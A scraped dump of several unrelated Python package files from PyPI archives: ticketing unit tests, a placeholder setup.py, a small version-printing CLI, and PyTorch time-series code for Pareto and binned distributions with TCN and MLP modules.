self.assertEqual([self.eventType, self.eventname, self.eventcode, self.eventTotalAvaibleSeat], expected_event)
@pytest.mark.skip(reason="failing")
@mock.patch('src.Ticket.input', create=True)
def test_book_ticket(self, mocked_input):
mocked_input.side_effect = ["Emma", "Emma@mail.com", "10001", "500"]
Ticket.bookTicket(self)
expected_ticket = ["Emma", "Emma@mail.com", "10001", "500"]
self.assertEqual([self.name, self.email, self.reference, self.event], expected_ticket)
@mock.patch('src.DriverClass.input', create=True)
def test_get_event_details(self, mocked_input):
mocked_input.side_effect = [""]
DriverClass.getEventsDetails()
self.assertEqual(True, True)
@pytest.mark.skip(reason="failing")
@mock.patch('src.DriverClass.input', create=True)
def test_get_ticket_details(self, mocked_input):
mocked_input.side_effect = [""]
DriverClass.getTicketDetails()
self.assertEqual(True, True)
@pytest.mark.skip(reason="failing")
@mock.patch('src.DriverClass.input', create=True)
def test_get_events_summary(self, mocked_input):
mocked_input.side_effect = [""]
DriverClass.getEventsSummary()
self.assertEqual(True, True)
@mock.patch('src.CharityEvent.input', create=True)
def test_driver_create_char_event(self, mocked_input):
mocked_input.side_effect = ["CharityEvent", "500", "10"]
DriverClass.createCharityEvent()
self.assertEqual(True, True)
@mock.patch('src.NetworkingEvent.input', create=True)
def test_driver_create_networking_event(self, mocked_input):
mocked_input.side_effect = ["NetworkingEvent", "501", "10"]
DriverClass.createNetworkingEvent()
self.assertEqual(True, True)
@mock.patch('src.PartyEvent.input', create=True)
def test_create_driver_party_event(self, mocked_input):
mocked_input.side_effect = ["PartyEvent", "502", "10"]
DriverClass.createPartyEvent()
self.assertEqual(True, True)
@mock.patch('src.WorkshopEvent.input', create=True)
def test_create_driver_workshop_event(self, mocked_input):
mocked_input.side_effect = ["WorkshopEvent", "503", "10"]
DriverClass.createWorkshopEvent()
self.assertEqual(True, True)
@pytest.mark.skip(reason="failing")
@mock.patch('src.Ticket.input', create=True)
def test_driver_book_ticket(self, mocked_input):
mocked_input.side_effect = ["Emma", "Emma@mail.com", "10001", "500"]
DriverClass.bookEventTicket()
self.assertEqual(True, True)
if __name__ == '__main__':
unittest.main()
|
437-project
|
/437-project-1.3.tar.gz/437-project-1.3/tests/test_generator.py
|
test_generator.py
|
# -*- coding: utf-8 -*-
from setuptools import setup
packages = \
['456789999999test',
'456789999999test.grader',
'456789999999test.json',
'456789999999test.ninja_robot',
'456789999999test.pdf']
package_data = \
{'': ['*']}
install_requires = \
['PyPDF2', 'fpdf']
setup_kwargs = {
'name': '456789999999test',
'version': '1.0.0',
'description': 'Jupyter Notebook Image Classification assessment tool',
'long_description': '',
'author': 'test',
'author_email': 'test@gmail.com',
'maintainer': None,
'maintainer_email': None,
'url': 'https://github.com/3421321321/test',
'packages': packages,
'package_data': package_data,
'install_requires': install_requires,
'python_requires': '>=2.7, !=3.0.*, !=3.1.*',
}
setup(**setup_kwargs)
|
456789999999test
|
/456789999999test-1.0.0.tar.gz/456789999999test-1.0.0/setup.py
|
setup.py
|
__version_info__ = (0, 0, 2)
__version__ = "".join([".{}".format(str(n)) if type(n) is int else str(n) for n in __version_info__]).replace(
".", "", 1 if type(__version_info__[0]) is int else 0
)
if __name__ == "__main__": # pragma: no cover
print(__version__)
|
4711
|
/4711-0.0.2-py3-none-any.whl/_4711/__version__.py
|
__version__.py
|
from ._4711 import cli # noqa
from .__version__ import __version__, __version_info__ # noqa
__author__ = "Carl Oscar Aaro"
__email__ = "hello@carloscar.com"
|
4711
|
/4711-0.0.2-py3-none-any.whl/_4711/__init__.py
|
__init__.py
|
import datetime
import inspect
import operator
import os
import platform
import re
import sys
from functools import reduce
from .__version__ import __version__
def cli(argv=None):
if argv is None:
argv = sys.argv
if argv[0].endswith("pytest"): # pragma: no cover
argv = ["4711"]
process_name = str(argv[0]) if argv and isinstance(argv, list) and len(argv) >= 1 else "4711"
argv = argv[1:] if argv and isinstance(argv, list) and len(argv) > 1 else []
if argv:
argv = list(
filter(lambda x: x.strip(), map(lambda x: x.strip(), reduce(operator.concat, [x.split("=") for x in argv])))
)
command = None
optioned_command = None
available_commands = ("help", "version")
available_pre_command_options = {
"-h": {"command": "help", "option": "--help", "values": 0},
"--help": {"command": "help", "option": "--help", "values": 0},
"-v": {"command": "version", "option": "--version", "values": 0},
"-V": {"command": "version", "option": "--version", "values": 0},
"--version": {"command": "version", "option": "--version", "values": 0},
}
option_values = []
values = []
value_count = 0
for i, arg in enumerate(argv):
if value_count:
values.append(arg)
value_count -= 1
if value_count == 0:
option_values.append(values)
if command:
break
if arg in available_pre_command_options:
info = available_pre_command_options[arg]
if not optioned_command and info.get("command"):
optioned_command = info.get("command")
elif optioned_command and info.get("command") and info.get("command") != optioned_command:
print("Something went wrong - conflicting options and/or commands")
sys.exit(1)
value_count = info.get("values")
values = [info.get("option")]
continue
elif arg not in available_pre_command_options and arg.startswith("-"):
print(f"Something went wrong - invalid option: {arg}")
sys.exit(1)
elif arg in available_commands:
if optioned_command and optioned_command != arg:
print("Something went wrong - conflicting options and/or commands")
sys.exit(1)
command = arg
if not command:
command = optioned_command or "help"
if command == "help":
print("Usage: 4711 [options] <command> [...]")
print("")
print("Options:")
print(" -v, --version print installed 4711 version")
print(" -h, --help show this help message and exit")
sys.exit(0)
if command == "version":
cli_version = f"CLI: 4711 / version {__version__}"
script_dir = os.path.dirname(inspect.stack()[-1][1])
if script_dir and process_name and process_name.startswith(script_dir):
cli_version = f'{cli_version} [exec: "{process_name}"]'
print(cli_version)
system_name = platform.uname().system
if system_name == "Darwin":
system_name = f"macOS {platform.mac_ver()[0]}"
platform_line = f"Platform: {system_name} [{platform.machine()}]"
print(platform_line)
sys_version = re.sub(r"\s+", " ", sys.version)
if sys_version.startswith(f"{platform.python_version()} "):
version_len = len(platform.python_version())
sys_version = sys_version[version_len:].strip()
python_line = f"Python: {platform.python_version()} -- {sys_version}"
if len(python_line) > 77:
python_line = re.sub(r"(\[[^(]+) \([^)]+\)(.*)\]$", "\\1\\2]", python_line)
if len(python_line) > 77:
python_line = re.sub(r"[ .]+$", "", python_line[0:74])
python_line = f"{python_line}..."
if (python_line[::-1] + "[").index("[") < (python_line[::-1] + "]").index("]"):
python_line = f"{python_line}]"
print(python_line)
print("")
print(f"Timestamp (now): {datetime.datetime.utcnow().isoformat()}Z")
sys.exit(0)
if __name__ == "__main__": # pragma: no cover
cli() # pylint: disable=no-value-for-parameter
|
4711
|
/4711-0.0.2-py3-none-any.whl/_4711/_4711.py
|
_4711.py
|
from numbers import Number
import torch
from torch.distributions import constraints
from torch.distributions.distribution import Distribution
from torch.distributions.utils import broadcast_all
from typing import Dict
import numpy as np
class GeneralizedPareto(Distribution):
def __init__(self, xi, beta, validate_args=None):
"""Generalised Pareto distribution.
Args:
xi (torch.Tensor): Tensor containing the xi (heaviness) shape parameters
beta (torch.Tensor): Tensor containing the xi (heaviness) shape parameters
validate_args (bool):
"""
self.xi, self.beta = broadcast_all(xi, beta)
if isinstance(xi, Number) and isinstance(beta, Number):
batch_shape = torch.Size()
else:
batch_shape = self.xi.size()
super(GeneralizedPareto, self).__init__(
batch_shape, validate_args=validate_args
)
if (
self._validate_args
and not torch.lt(-self.beta, torch.zeros_like(self.beta)).all()
):
raise ValueError("GenPareto is not defined when scale beta<=0")
@property
def arg_constraints(self) -> Dict[str, constraints.Constraint]:
constraint_dict = {
"xi": constraints.positive,
"beta": constraints.positive,
}
return constraint_dict
@property
def mean(self):
mu = torch.where(
self.xi < 1,
torch.div(self.beta, 1 - self.xi),
np.nan * torch.ones_like(self.xi),
)
return mu
@property
def variance(self):
xi, beta = self.xi, self.beta
return torch.where(
xi < 1 / 2.0,
torch.div(beta ** 2, torch.mul((1 - xi) ** 2, (1 - 2 * xi))),
np.nan * torch.ones_like(xi),
)
@property
def stddev(self):
return torch.sqrt(self.variance)
def log_prob(self, x):
if self.xi == 0:
logp = -self.beta.log() - x / self.beta
else:
logp = -self.beta.log() - (1 + 1.0 / (self.xi + 1e-6)) * torch.log(
1 + self.xi * x / self.beta
)
return torch.where(
x < torch.zeros_like(x), -np.inf * torch.ones_like(x), logp
)
def cdf(self, x):
x_shifted = torch.div(x, self.beta)
u = 1 - torch.pow(1 + self.xi * x_shifted, -torch.reciprocal(self.xi))
return u
def icdf(self, value):
x_shifted = torch.div(torch.pow(1 - value, -self.xi) - 1, self.xi)
x = torch.mul(x_shifted, self.beta)
return x
|
4996
|
/4996-0.1.1-py3-none-any.whl/time_series/components/distributions/generalized_pareto.py
|
generalized_pareto.py
|
import torch
import torch.nn.functional as F
from .univariate_binned import UnivariateBinned
from .generalized_pareto import GeneralizedPareto
class UnivariateSplicedBinnedPareto(UnivariateBinned):
r"""
Spliced Binned-Pareto univariate distribution.
Arguments
----------
bins_lower_bound: The lower bound of the bin edges
bins_upper_bound: The upper bound of the bin edges
nbins: The number of equidistance bins to allocate between `bins_lower_bound` and `bins_upper_bound`. Default value is 100.
percentile_gen_pareto: The percentile of the distribution that is each tail. Default value is 0.05. NB: This symmetric percentile can still represent asymmetric upper and lower tails.
"""
def __init__(
self,
bins_lower_bound: float,
bins_upper_bound: float,
nbins: int = 100,
percentile_gen_pareto: torch.Tensor = torch.tensor(0.05),
validate_args=None,
):
super().__init__(
bins_lower_bound, bins_upper_bound, nbins, validate_args
)
assert (
percentile_gen_pareto > 0 and percentile_gen_pareto < 1
), "percentile_gen_pareto must be between (0,1)"
self.percentile_gen_pareto = percentile_gen_pareto
self.lower_xi = torch.nn.Parameter(torch.tensor(0.5))
self.lower_beta = torch.nn.Parameter(torch.tensor(0.5))
self.lower_gen_pareto = GeneralizedPareto(self.lower_xi, self.lower_beta)
self.upper_xi = torch.nn.Parameter(torch.tensor(0.5))
self.upper_beta = torch.nn.Parameter(torch.tensor(0.5))
self.upper_gen_pareto = GeneralizedPareto(self.upper_xi, self.upper_beta)
self.lower_xi_batch = None
self.lower_beta_batch = None
self.upper_xi_batch = None
self.upper_beta_batch = None
def to_device(self, device):
"""
Moves members to a specified torch.device
"""
self.device = device
self.bin_min = self.bin_min.to(device)
self.bin_max = self.bin_max.to(device)
self.bin_edges = self.bin_edges.to(device)
self.bin_widths = self.bin_widths.to(device)
self.bin_centres = self.bin_centres.to(device)
self.logits = self.logits.to(device)
def forward(self, x):
"""
Takes input x as the new parameters to specify the bin probabilities: logits for the base distribution, and xi and beta for each tail distribution.
"""
if len(x.shape) > 1:
# If mini-batching
self.logits = x[:, : self.nbins]
self.lower_xi_batch = F.softplus(x[:, self.nbins])
self.lower_beta_batch = F.softplus(x[:, self.nbins + 1])
self.upper_xi_batch = F.softplus(x[:, self.nbins + 2])
self.upper_beta_batch = F.softplus(x[:, self.nbins + 3])
else:
# If not mini-batching
self.logits = x[: self.nbins]
self.lower_xi_batch = F.softplus(x[self.nbins])
self.lower_beta_batch = F.softplus(x[self.nbins + 1])
self.upper_xi_batch = F.softplus(x[self.nbins + 2])
self.upper_beta_batch = F.softplus(x[self.nbins + 3])
self.upper_gen_pareto.xi = self.upper_xi_batch
self.upper_gen_pareto.beta = self.upper_beta_batch
self.lower_gen_pareto.xi = self.lower_xi_batch
self.lower_gen_pareto.beta = self.lower_beta_batch
return self.logits
def log_p(self, xx, for_training=True):
"""
Arguments
----------
xx: one datapoint
for_training: boolean to indicate a return of the log-probability, or of the loss (which is an adjusted log-probability)
"""
assert xx.shape.numel() == 1, "log_p() expects univariate"
# Compute upper and lower tail thresholds at current time from their percentiiles
upper_percentile = self.icdf(1 - self.percentile_gen_pareto)
lower_percentile = self.icdf(self.percentile_gen_pareto)
# Log-prob given binned distribution
logp_bins = self.log_binned_p(xx) + torch.log(
1 - 2 * self.percentile_gen_pareto
)
logp = logp_bins
# Log-prob given upper tail distribution
if xx > upper_percentile:
if self.upper_xi_batch is not None:
# self.upper_gen_pareto.xi = torch.square(self.upper_xi_batch[self.idx])
# self.upper_gen_pareto.beta = torch.square(self.upper_beta_batch[self.idx])
self.upper_gen_pareto.xi = self.upper_xi_batch[self.idx]
self.upper_gen_pareto.beta = self.upper_beta_batch[self.idx]
logp_gen_pareto = self.upper_gen_pareto.log_prob(
xx - upper_percentile
) + torch.log(self.percentile_gen_pareto)
logp = logp_gen_pareto
if for_training:
logp += logp_bins
# Log-prob given upper tail distribution
elif xx < lower_percentile:
if self.lower_xi_batch is not None:
# self.lower_gen_pareto.xi = torch.square(self.lower_xi_batch[self.idx])
# self.lower_gen_pareto.beta = torch.square(self.lower_beta_batch[self.idx])
self.lower_gen_pareto.xi = self.lower_xi_batch[self.idx]
self.lower_gen_pareto.beta = self.lower_beta_batch[self.idx]
logp_gen_pareto = self.lower_gen_pareto.log_prob(
lower_percentile - xx
) + torch.log(self.percentile_gen_pareto)
logp = logp_gen_pareto
if for_training:
logp += logp_bins
return logp
def cdf_components(self, xx, idx=0, cum_density=torch.tensor([0.0])):
"""
Cumulative density for one datapoint `xx`, where `cum_density` is the cdf up to bin_edges `idx` which must be lower than `xx`
"""
bin_cdf_relative = torch.tensor([0.0])
upper_percentile = self.icdf(1 - self.percentile_gen_pareto)
lower_percentile = self.icdf(self.percentile_gen_pareto)
if xx < lower_percentile:
adjusted_xx = lower_percentile - xx
cum_density = (
1.0 - self.lower_gen_pareto.cdf(adjusted_xx)
) * self.percentile_gen_pareto
elif xx <= upper_percentile:
idx, cum_density, bin_cdf_relative = self.cdf_binned_components(
xx, idx, cum_density
)
else:
adjusted_xx = xx - upper_percentile
cum_density = (
1.0 - self.percentile_gen_pareto
) + self.upper_gen_pareto.cdf(
adjusted_xx
) * self.percentile_gen_pareto
return idx, cum_density, bin_cdf_relative
def inverse_cdf(self, value):
"""
Inverse cdf of a single percentile `value`
"""
assert (
value >= 0.0 and value <= 1.0
), "percentile value must be between 0 and 1 inclusive"
if value < self.percentile_gen_pareto:
adjusted_percentile = 1 - (value / self.percentile_gen_pareto)
icdf_value = self.inverse_binned_cdf(
self.percentile_gen_pareto
) - self.lower_gen_pareto.icdf(adjusted_percentile)
elif value <= 1 - self.percentile_gen_pareto:
icdf_value = self.inverse_binned_cdf(value)
else:
adjusted_percentile = (
value - (1.0 - self.percentile_gen_pareto)
) / self.percentile_gen_pareto
icdf_value = self.upper_gen_pareto.icdf(
adjusted_percentile
) + self.inverse_binned_cdf(1 - self.percentile_gen_pareto)
return icdf_value
|
4996
|
/4996-0.1.1-py3-none-any.whl/time_series/components/distributions/univariate_splice_binned_pareto.py
|
univariate_splice_binned_pareto.py
|
import torch
import torch.nn.functional as F
from typing import List, Union, Optional
import numpy as np
class UnivariateBinned(torch.nn.Module):
r"""
Binned univariate distribution designed as an nn.Module
Arguments
----------
bins_lower_bound: The lower bound of the bin edges
bins_upper_bound: The upper bound of the bin edges
nbins: The number of equidistant bins to allocate between `bins_lower_bound` and `bins_upper_bound`. Default value is 100.
smoothing_indicator: The method of smoothing to perform on the bin probabilities
"""
def __init__(
self,
bins_lower_bound: float,
bins_upper_bound: float,
nbins: int = 100,
smoothing_indicator: Optional[str] = [None, "cheap", "kernel"][1],
validate_args=None,
):
super().__init__()
assert (
bins_lower_bound.shape.numel() == 1
), f"bins_lower_bound needs to have shape torch.Size([1])"
assert (
bins_upper_bound.shape.numel() == 1
), f"bins_upper_bound needs to have shape torch.Size([1])"
assert (
bins_lower_bound < bins_upper_bound
), f"bins_lower_bound {bins_lower_bound} needs to less than bins_upper_bound {bins_upper_bound}"
self.nbins = nbins
self.epsilon = np.finfo(np.float32).eps
self.smooth_indicator = smoothing_indicator
# Creation the bin locations
# Bins locations are placed uniformly between bins_lower_bound and bins_upper_bound, though more complex methods could be used
self.bin_min = bins_lower_bound - self.epsilon * 6
self.bin_max = bins_upper_bound + self.epsilon * 6
self.bin_edges = torch.linspace(self.bin_min, self.bin_max, nbins + 1)
self.bin_widths = self.bin_edges[1:] - self.bin_edges[:-1]
self.bin_centres = (self.bin_edges[1:] + self.bin_edges[:-1]) * 0.5
logits = torch.ones(nbins)
logits = (
logits / logits.sum() / (1 + self.epsilon) / self.bin_widths.mean()
)
self.logits = torch.log(logits)
# Keeps track of mini-batches
self.idx = None
self.device = None
def to_device(self, device):
"""
Moves members to a specified torch.device
"""
self.device = device
self.bin_min = self.bin_min.to(device)
self.bin_max = self.bin_max.to(device)
self.bin_edges = self.bin_edges.to(device)
self.bin_widths = self.bin_widths.to(device)
self.bin_centres = self.bin_centres.to(device)
def forward(self, x):
"""
Takes input x as new logits
"""
self.logits = x
return self.logits
def log_bins_prob(self):
if self.idx is None:
log_bins_prob = F.log_softmax(self.logits, dim=0).sub(
torch.log(self.bin_widths)
)
else:
log_bins_prob = F.log_softmax(self.logits[self.idx, :], dim=0).sub(
torch.log(self.bin_widths)
)
return log_bins_prob.float()
def bins_prob(self):
bins_prob = self.log_bins_prob().exp()
return bins_prob
def bins_cdf(self):
incomplete_cdf = self.bins_prob().mul(self.bin_widths).cumsum(dim=0)
zero = 0 * incomplete_cdf[0].view(1) # ensured to be on same device
return torch.cat((zero, incomplete_cdf))
def log_binned_p(self, xx):
"""
Log probability for one datapoint.
"""
assert xx.shape.numel() == 1, "log_binned_p() expects univariate"
# Transform xx in to a one-hot encoded vector to get bin location
vect_above = xx - self.bin_edges[1:]
vect_below = self.bin_edges[:-1] - xx
one_hot_bin_indicator = (vect_above * vect_below >= 0).float()
if xx > self.bin_edges[-1]:
one_hot_bin_indicator[-1] = 1.0
elif xx < self.bin_edges[0]:
one_hot_bin_indicator[0] = 1.0
if not (one_hot_bin_indicator == 1).sum() == 1:
print(
f"Warning in log_p(self, xx): for xx={xx.item()}, one_hot_bin_indicator value_counts are {one_hot_bin_indicator.unique(return_counts=True)}"
)
if self.smooth_indicator == "kernel":
# The kernel variant is better but slows down training quite a bit
idx_one_hot = torch.argmax(one_hot_bin_indicator)
kernel = [0.006, 0.061, 0.242, 0.383, 0.242, 0.061, 0.006]
len_kernel = len(kernel)
for i in range(len_kernel):
idx = i - len_kernel // 2 + idx_one_hot
if idx in range(len(one_hot_bin_indicator)):
one_hot_bin_indicator[idx] = kernel[i]
elif self.smooth_indicator == "cheap":
# This variant is cheaper in computation time
idx_one_hot = torch.argmax(one_hot_bin_indicator)
if not idx_one_hot + 1 >= len(one_hot_bin_indicator):
one_hot_bin_indicator[idx_one_hot + 1] = 0.5
if not idx_one_hot - 1 < 0:
one_hot_bin_indicator[idx_one_hot - 1] = 0.5
if not idx_one_hot + 2 >= len(one_hot_bin_indicator):
one_hot_bin_indicator[idx_one_hot + 2] = 0.25
if not idx_one_hot - 2 < 0:
one_hot_bin_indicator[idx_one_hot - 2] = 0.25
logp = torch.dot(one_hot_bin_indicator, self.log_bins_prob())
return logp
def log_p(self, xx):
"""
Log probability for one datapoint `xx`.
"""
assert xx.shape.numel() == 1, "log_p() expects univariate"
return self.log_binned_p(xx)
def log_prob(self, x):
"""
Log probability for a tensor of datapoints `x`.
"""
x = x.view(x.shape.numel())
self.idx = 0
if x.shape[0] == 1:
self.idx = None
lpx = self.log_p(x[0]).view(1)
if x.shape.numel() == 1:
return lpx
for xx in x[1:]:
self.idx += 1
lpxx = self.log_p(xx).view(1)
lpx = torch.cat((lpx, lpxx), 0)
self.idx = None
return lpx
def cdf_binned_components(
self, xx, idx=0, cum_density=torch.tensor([0.0])
):
"""
Cumulative density given bins for one datapoint `xx`, where `cum_density` is the cdf up to bin_edges `idx` which must be lower than `xx`
"""
assert xx.shape.numel() == 1, "cdf_components() expects univariate"
bins_range = self.bin_edges[-1] - self.bin_edges[0]
bin_cdf_relative = torch.tensor([0.0])
if idx == 0:
cum_density = torch.tensor([0.0])
while xx > self.bin_edges[idx] and idx < self.nbins:
bin_width = self.bin_edges[idx + 1] - self.bin_edges[idx]
if xx < self.bin_edges[idx + 1]:
bin_cdf = torch.distributions.uniform.Uniform(
self.bin_edges[idx], self.bin_edges[idx + 1]
).cdf(xx)
bin_cdf_relative = bin_cdf * bin_width / bins_range
break
else:
cum_density += self.bins_prob()[idx] * bin_width
idx += 1
return idx, cum_density, bin_cdf_relative
def cdf_components(self, xx, idx=0, cum_density=torch.tensor([0.0])):
"""
Cumulative density for one datapoint `xx`, where `cum_density` is the cdf up to bin_edges `idx` which must be lower than `xx`
"""
return self.cdf_binned_components(xx, idx, cum_density)
def cdf(self, x):
"""
Cumulative density tensor for a tensor of datapoints `x`.
"""
x = x.view(x.shape.numel())
sorted_x = x.sort()
x, unsorted_index = sorted_x.values, sorted_x.indices
idx, cum_density, bin_cdf_relative = self.cdf_components(
x[0], idx=0, cum_density=torch.tensor([0.0])
)
cdf_tensor = (cum_density + bin_cdf_relative).view(1)
if x.shape.numel() == 1:
return cdf_tensor
for xx in x[1:]:
idx, cum_density, bin_cdf_relative = self.cdf_components(
xx, idx, cum_density
)
cdfx = (cum_density + bin_cdf_relative).view(1)
cdf_tensor = torch.cat((cdf_tensor, cdfx), 0)
cdf_tensor = cdf_tensor[unsorted_index]
return cdf_tensor
def inverse_binned_cdf(self, value):
"""
Inverse binned cdf of a single quantile `value`
"""
assert (
value.shape.numel() == 1
), "inverse_binned_cdf() expects univariate"
if value == 0.0:
return self.bin_edges[0]
if value == 1:
return self.bin_edges[-1]
vect_above = value - self.bins_cdf()[1:]
vect_below = self.bins_cdf()[:-1] - value
if (vect_above == 0).any():
result = self.bin_edges[1:][vect_above == 0]
elif (vect_below == 0).any():
result = self.bin_edges[:-1][vect_below == 0]
else:
one_hot_edge_indicator = vect_above * vect_below >= 0 # .float()
low = self.bin_edges[:-1][one_hot_edge_indicator]
high = self.bin_edges[1:][one_hot_edge_indicator]
value_relative = (
value - self.bins_cdf()[:-1][one_hot_edge_indicator]
)
result = torch.distributions.uniform.Uniform(low, high).icdf(
value_relative
)
return result
def inverse_cdf(self, value):
"""
Inverse cdf of a single percentile `value`
"""
return self.inverse_binned_cdf(value)
def icdf(self, values):
"""
Inverse cdf of a tensor of quantile `values`
"""
if self.device is not None:
values = values.to(self.device)
values = values.view(values.shape.numel())
icdf_tensor = self.inverse_cdf(values[0])
icdf_tensor = icdf_tensor.view(1)
if values.shape.numel() == 1:
return icdf_tensor
for value in values[1:]:
icdf_value = self.inverse_cdf(value).view(1)
icdf_tensor = torch.cat((icdf_tensor, icdf_value), 0)
return icdf_tensor
|
4996
|
/4996-0.1.1-py3-none-any.whl/time_series/components/distributions/univariate_binned.py
|
univariate_binned.py
|
from .univariate_splice_binned_pareto import UnivariateSplicedBinnedPareto as SplicedBinnedPareto
|
4996
|
/4996-0.1.1-py3-none-any.whl/time_series/components/distributions/__init__.py
|
__init__.py
|
# Copyright 2022 Jeremy Oldfather (github.com/theoldfather/time-series)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Applies to:
#
# TCNAdapterForRNN
#
################################################################################
#
# MIT License
#
# Copyright (c) 2018 CMU Locus Lab
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# Applies to:
#
# Chomp1d
# TemporalBlock
# TemporalConvNet
#
################################################################################
import torch.nn as nn
from torch.nn.utils import weight_norm
class Chomp1d(nn.Module):
def __init__(self, chomp_size):
"""Chomp1d
Source: https://github.com/locuslab/TCN/blob/8845f88f31def1e7ffccb8811ea966e9f58d9695/TCN/tcn.py
Args:
chomp_size:
"""
super(Chomp1d, self).__init__()
self.chomp_size = chomp_size
def forward(self, x):
return x[:, :, :-self.chomp_size].contiguous()
class TemporalBlock(nn.Module):
def __init__(self, n_inputs, n_outputs, kernel_size, stride, dilation, padding, dropout=0.2):
"""Temporal Block
Source: https://github.com/locuslab/TCN/blob/8845f88f31def1e7ffccb8811ea966e9f58d9695/TCN/tcn.py
Args:
n_inputs:
n_outputs:
kernel_size:
stride:
dilation:
padding:
dropout:
"""
super(TemporalBlock, self).__init__()
self.conv1 = weight_norm(nn.Conv1d(n_inputs, n_outputs, kernel_size,
stride=stride, padding=padding, dilation=dilation))
self.chomp1 = Chomp1d(padding)
self.relu1 = nn.ReLU()
self.dropout1 = nn.Dropout(dropout)
self.conv2 = weight_norm(nn.Conv1d(n_outputs, n_outputs, kernel_size,
stride=stride, padding=padding, dilation=dilation))
self.chomp2 = Chomp1d(padding)
self.relu2 = nn.ReLU()
self.dropout2 = nn.Dropout(dropout)
self.net = nn.Sequential(self.conv1, self.chomp1, self.relu1, self.dropout1,
self.conv2, self.chomp2, self.relu2, self.dropout2)
self.downsample = nn.Conv1d(n_inputs, n_outputs, 1) if n_inputs != n_outputs else None
self.relu = nn.ReLU()
self.init_weights()
def init_weights(self):
self.conv1.weight.data.normal_(0, 0.01)
self.conv2.weight.data.normal_(0, 0.01)
if self.downsample is not None:
self.downsample.weight.data.normal_(0, 0.01)
def forward(self, x):
out = self.net(x)
res = x if self.downsample is None else self.downsample(x)
return self.relu(out + res)
class TemporalConvNet(nn.Module):
def __init__(self, num_inputs, num_channels, kernel_size=2, dropout=0.2):
"""Temporal Convolution Network (TCN)
Source: https://github.com/locuslab/TCN/blob/8845f88f31def1e7ffccb8811ea966e9f58d9695/TCN/tcn.py
Args:
num_inputs:
num_channels:
kernel_size:
dropout:
"""
super(TemporalConvNet, self).__init__()
layers = []
num_levels = len(num_channels)
for i in range(num_levels):
dilation_size = 2 ** i
in_channels = num_inputs if i == 0 else num_channels[i - 1]
out_channels = num_channels[i]
layers += [TemporalBlock(in_channels, out_channels, kernel_size, stride=1, dilation=dilation_size,
padding=(kernel_size - 1) * dilation_size, dropout=dropout)]
self.network = nn.Sequential(*layers)
def forward(self, x):
return self.network(x)
class TCNAdapterForRNN(TemporalConvNet):
def __init__(self, input_size, hidden_size, num_layers=2, kernel_size=2, dropout=0.2, rnn_compatibility=True):
"""RNN adapter for TCN
Allows for drop-in replacement of RNN encoders
Args:
input_size (int): input size
hidden_size (int): hidden size specifying the number of channels per convolutional layer
num_layers (int): the number of dilated convolutional layers
kernel_size (int): size of the kernel of each layer
dropout (float): dropout rate
rnn_compatibility (bool): should we reshape the inputs and output to retain compatibility with RNN layers?
"""
num_channels = [hidden_size for _ in range(num_layers)]
super(TCNAdapterForRNN, self).__init__(input_size, num_channels, kernel_size, dropout)
self.rnn_compatibility = rnn_compatibility
def forward(self, x):
x = x.permute(0, 2, 1) if self.rnn_compatibility else x
output = self.network(x)
output = output.permute(0, 2, 1) if self.rnn_compatibility else output
return output
|
4996
|
/4996-0.1.1-py3-none-any.whl/time_series/components/encoder/tcn.py
|
tcn.py
|
from .tcn import TCNAdapterForRNN as TCN
|
4996
|
/4996-0.1.1-py3-none-any.whl/time_series/components/encoder/__init__.py
|
__init__.py
|
from .mlp import MLP
|
4996
|
/4996-0.1.1-py3-none-any.whl/time_series/components/decoder/__init__.py
|
__init__.py
|
# Copyright 2022 Jeremy Oldfather (github.com/theoldfather/time-series)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Applies to:
#
# MLP
#
################################################################################
import torch.nn as nn
import numpy as np
class MLP(nn.Module):
def __init__(self, input_size, hidden_size, output_size, num_layers=2, dropout=0.1, activation=nn.ReLU):
"""Multi-Layer Perceptron
Allows for a variable number of layers (default=2).
Args:
input_size (int): inputs size of the first layer
hidden_size (int): hidden size of the intermediate layers
output_size (int): output size of the final layer
num_layers (int): number of layers in the MLP
dropout (float): dropout rate
activation (nn.Module): an activation module that can be initialized
"""
super(MLP, self).__init__()
self.input_size = input_size
self.hidden_size = hidden_size
self.output_size = output_size
self.num_layers = num_layers
self.dropout = dropout
self.activation = activation()
layers = []
for k in np.arange(num_layers) + 1:
input_size, output_size = self.hidden_size, self.hidden_size
activation = self.activation
if k == 1:
input_size = self.input_size
if k == self.num_layers:
output_size = self.output_size
activation = nn.Identity()
layer = nn.Linear(input_size, output_size)
layers.append(layer)
layers.append(activation)
layers.append(nn.Dropout(self.dropout))
self.layers = nn.Sequential(*layers)
def forward(self, x):
""" Forward pass
Args:
x (nn.Tensor): a tensors of inputs
Returns:
a nn.Tensor with `output_size` number of outputs
"""
return self.layers(x)
|
4996
|
/4996-0.1.1-py3-none-any.whl/time_series/components/decoder/mlp.py
|
mlp.py
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.